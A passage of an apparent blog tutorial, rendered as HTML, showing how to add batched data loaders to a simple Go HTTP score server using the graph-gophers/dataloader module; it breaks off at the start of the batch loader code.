</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">75
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">76
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">77
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">78
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">79
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">80
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">81
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">82
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#586e75">// Code without dataloader</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">package</span> main
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">import</span> (
</span></span><span style="display:flex;"><span>  <span style="color:#2aa198">&#34;context&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#2aa198">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#2aa198">&#34;math/rand&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#2aa198">&#34;net/http&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#2aa198">&#34;strconv&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#2aa198">&#34;time&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">type</span> DBService <span style="color:#268bd2">interface</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">GetScore</span>(ctx context.Context, studentID <span style="color:#dc322f">int</span>) Result
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">GetScores</span>(ctx context.Context, studentID []<span style="color:#dc322f">int</span>) []Result
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">type</span> Result <span style="color:#268bd2">struct</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// Only of these will be non-nil</span>
</span></span><span style="display:flex;"><span>    Score <span style="color:#719e07">*</span><span style="color:#dc322f">int</span>
</span></span><span style="display:flex;"><span>    Err   <span style="color:#dc322f">error</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">type</span> FakeDBService <span style="color:#268bd2">struct</span> {
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">const</span> _baseDelay = <span style="color:#2aa198">50</span> <span style="color:#719e07">*</span> time.Millisecond
</span></span><span style="display:flex;"><span><span style="color:#268bd2">const</span> _delayVariance = <span style="color:#2aa198">20</span> <span style="color:#719e07">*</span> time.Millisecond
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> (f FakeDBService) <span style="color:#268bd2">GetScore</span>(_ context.Context, studentID <span style="color:#dc322f">int</span>) Result {
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">if</span> studentID <span style="color:#719e07">&lt;=</span> <span style="color:#2aa198">0</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">return</span> Result{
</span></span><span style="display:flex;"><span>            <span style="color:#cb4b16">nil</span>,
</span></span><span style="display:flex;"><span>            fmt.<span style="color:#268bd2">Errorf</span>(<span style="color:#2aa198">&#34;invalid student ID&#34;</span>),
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    delayVariance <span style="color:#719e07">:=</span> time.<span style="color:#268bd2">Duration</span>(rand.<span style="color:#268bd2">Int63n</span>(<span style="color:#b58900">int64</span>(_delayVariance)))
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// Simulate processing delay</span>
</span></span><span style="display:flex;"><span>    time.<span style="color:#268bd2">Sleep</span>(_baseDelay <span style="color:#719e07">+</span> delayVariance)
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// Deterministic score for demo purposes</span>
</span></span><span style="display:flex;"><span>    score <span style="color:#719e07">:=</span> studentID <span style="color:#719e07">*</span> studentID
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> Result{
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">&amp;</span>score,
</span></span><span style="display:flex;"><span>        <span style="color:#cb4b16">nil</span>,
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">handler</span>(writer http.ResponseWriter, request <span style="color:#719e07">*</span>http.Request) {
</span></span><span style="display:flex;"><span>    fakeDBService <span style="color:#719e07">:=</span> <span style="color:#719e07">&amp;</span>FakeDBService{}
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// read student ID from request</span>
</span></span><span style="display:flex;"><span>    studentIDStr <span style="color:#719e07">:=</span> request.URL.<span style="color:#268bd2">Query</span>().<span style="color:#268bd2">Get</span>(<span style="color:#2aa198">&#34;student_id&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">if</span> studentIDStr <span style="color:#719e07">==</span> <span style="color:#2aa198">&#34;&#34;</span> {
</span></span><span style="display:flex;"><span>        writer.<span style="color:#268bd2">WriteHeader</span>(http.StatusBadRequest)
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">return</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    studentID, err <span style="color:#719e07">:=</span> strconv.<span style="color:#268bd2">Atoi</span>(studentIDStr)
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">if</span> err <span style="color:#719e07">!=</span> <span style="color:#cb4b16">nil</span> {
</span></span><span style="display:flex;"><span>        writer.<span style="color:#268bd2">WriteHeader</span>(http.StatusBadRequest)
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">return</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    result <span style="color:#719e07">:=</span> fakeDBService.<span style="color:#268bd2">GetScore</span>(request.<span style="color:#268bd2">Context</span>(), studentID)
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">if</span> result.Err <span style="color:#719e07">!=</span> <span style="color:#cb4b16">nil</span> {
</span></span><span style="display:flex;"><span>        writer.<span style="color:#268bd2">WriteHeader</span>(http.StatusInternalServerError)
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">return</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// write score to response</span>
</span></span><span style="display:flex;"><span>    _, err = writer.<span style="color:#268bd2">Write</span>([]<span style="color:#b58900">byte</span>(strconv.<span style="color:#268bd2">Itoa</span>(<span style="color:#719e07">*</span>result.Score)))
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">if</span> err <span style="color:#719e07">!=</span> <span style="color:#cb4b16">nil</span> {
</span></span><span style="display:flex;"><span>        writer.<span style="color:#268bd2">WriteHeader</span>(http.StatusInternalServerError)
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">return</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// start web server</span>
</span></span><span style="display:flex;"><span>    http.<span style="color:#268bd2">HandleFunc</span>(<span style="color:#2aa198">&#34;/score&#34;</span>, handler)
</span></span><span style="display:flex;"><span>    fmt.<span style="color:#268bd2">Printf</span>(<span style="color:#2aa198">&#34;Starting server on port 8080...\n&#34;</span>)
</span></span><span style="display:flex;"><span>    err <span style="color:#719e07">:=</span> http.<span style="color:#268bd2">ListenAndServe</span>(<span style="color:#2aa198">&#34;:8080&#34;</span>, <span style="color:#cb4b16">nil</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">if</span> err <span style="color:#719e07">!=</span> <span style="color:#cb4b16">nil</span> {
</span></span><span style="display:flex;"><span>        fmt.<span style="color:#268bd2">Printf</span>(<span style="color:#2aa198">&#34;ListenAndServe: %v\n&#34;</span>, err)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Now, our goal is to add data loaders here, let&rsquo;s use Go Modules for that</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#586e75"># In the same dir containing test_main.go</span>
</span></span><span style="display:flex;"><span>$ go mod init example.com/m
</span></span><span style="display:flex;"><span>$ go mod tidy
</span></span><span style="display:flex;"><span>$ go get -u github.com/graph-gophers/dataloader</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Now, let&rsquo;s add the fake/demo batch reader</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#268bd2">func</span> (f FakeDBService) <span style="color:#268bd2">GetScores</span>(_ context.Context, studentIDs []<span style="color:#dc322f">int</span>) []Result {
</span></span><span style="display:flex;"><span>    fmt.<span style="color:#268bd2">Printf</span>(<span style="color:#2aa198">&#34;GetScores called with student IDs: %+v\n&#34;</span>, studentIDs)
</span></span><span style="display:flex;"><span>    result <span style="color:#719e07">:=</span> <span style="color:#b58900">make</span>([]Result, <span style="color:#2aa198">0</span>, <span style="color:#b58900">len</span>(studentIDs))
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">for</span> _, studentID <span style="color:#719e07">:=</span> <span style="color:#719e07">range</span> studentIDs {
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">if</span> studentID <span style="color:#719e07">&lt;=</span> <span style="color:#2aa198">0</span> {
</span></span><span style="display:flex;"><span>            result = <span style="color:#b58900">append</span>(result, Result{<span style="color:#cb4b16">nil</span>, fmt.<span style="color:#268bd2">Errorf</span>(<span style="color:#2aa198">&#34;invalid student ID&#34;</span>)})
</span></span><span style="display:flex;"><span>        } <span style="color:#719e07">else</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#586e75">// Deterministic score for demo purposes</span>
</span></span><span style="display:flex;"><span>            score <span style="color:#719e07">:=</span> studentID <span style="color:#719e07">*</span> studentID
</span></span><span style="display:flex;"><span>            result = <span style="color:#b58900">append</span>(result, Result{<span style="color:#719e07">&amp;</span>score, <span style="color:#cb4b16">nil</span>})
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    delayVariance <span style="color:#719e07">:=</span> time.<span style="color:#268bd2">Duration</span>(rand.<span style="color:#268bd2">Int63n</span>(<span style="color:#b58900">int64</span>(_delayVariance)))
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// Simulate processing delay</span>
</span></span><span style="display:flex;"><span>    time.<span style="color:#268bd2">Sleep</span>(<span style="color:#2aa198">2</span> <span style="color:#719e07">*</span> (_baseDelay <span style="color:#719e07">+</span> delayVariance))
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> result
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And add a batch loader</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">34
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">36
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">37
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">38
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">39
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">40
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">41
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">42
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">43
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">44
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">45
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">46
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">47
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">48
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">49
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">50
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">51
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">52
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">53
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">54
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">55
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">56
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">57
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">58
